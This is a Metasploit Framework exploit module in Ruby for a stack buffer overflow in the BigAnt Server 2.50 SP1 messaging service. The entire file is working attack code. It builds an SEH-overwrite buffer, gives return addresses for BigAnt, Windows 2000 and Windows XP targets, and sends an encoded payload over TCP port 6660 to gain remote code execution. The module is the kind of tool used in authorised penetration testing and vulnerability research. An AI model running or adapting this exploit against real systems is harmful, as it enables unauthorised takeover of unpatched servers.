##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,  
      'Name'           => 'BigAnt Server 2.50 SP1 Buffer Overflow',
      'Description'    => %q{
        This exploits a stack overflow in the BigAnt Messaging Service,
        part of the BigAnt Server product suite. This module was tested
        successfully against version 2.50 SP1.
      },
      'Author'    => [ 'Dr_IDE <Dr_IDE[at]hushmail.com>' ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision$',
      'References'     =>
        [
          [ 'URL', 'http://www.milw0rm.com/exploits/9673'],
          #[ 'OSVDB', '' ],
          #[ 'CVE', '' ],
          #[ 'BID', '' ],

        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh',
        },
      'Payload'        =>
        {
          'Space'    => 710,
          'BadChars' => "\x00\x20\x0a\x0d",
          'StackAdjustment' => -3500,
          'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
          'DisableNops'  =>  'True',
        },
      'Platform'       => 'win',
      'Targets'        => 
        [
          [ 'BigAnt 2.5 Universal',    { 'Ret' => 0x0f9a196a } ], # Tested OK (Dr_IDE & patrickw) p/p/r VBAJET32.dll xpsp3 & w2k
          [ 'Windows 2000 Pro All English',     { 'Ret' => 0x75022ac4 } ], # p/p/r Tested OK (patrickw 20090918)
          [ 'Windows XP Pro SP0/SP1 English',   { 'Ret' => 0x71aa32ad } ], # Should Work
        ],
      'DefaultTarget' => 0))
      
      register_options([Opt::RPORT(6660)], self.class)
  end

  def exploit
    connect
    
    sploit = "GET " + rand_text_alpha_upper(985) + generate_seh_payload(target.ret)
    sploit << rand_text_alpha_upper(1000 - payload.encoded.length)

    print_status("Trying target #{target.name}...")
    sock.put(sploit + "\r\n\r\n")
    
    handler
    disconnect
  end

end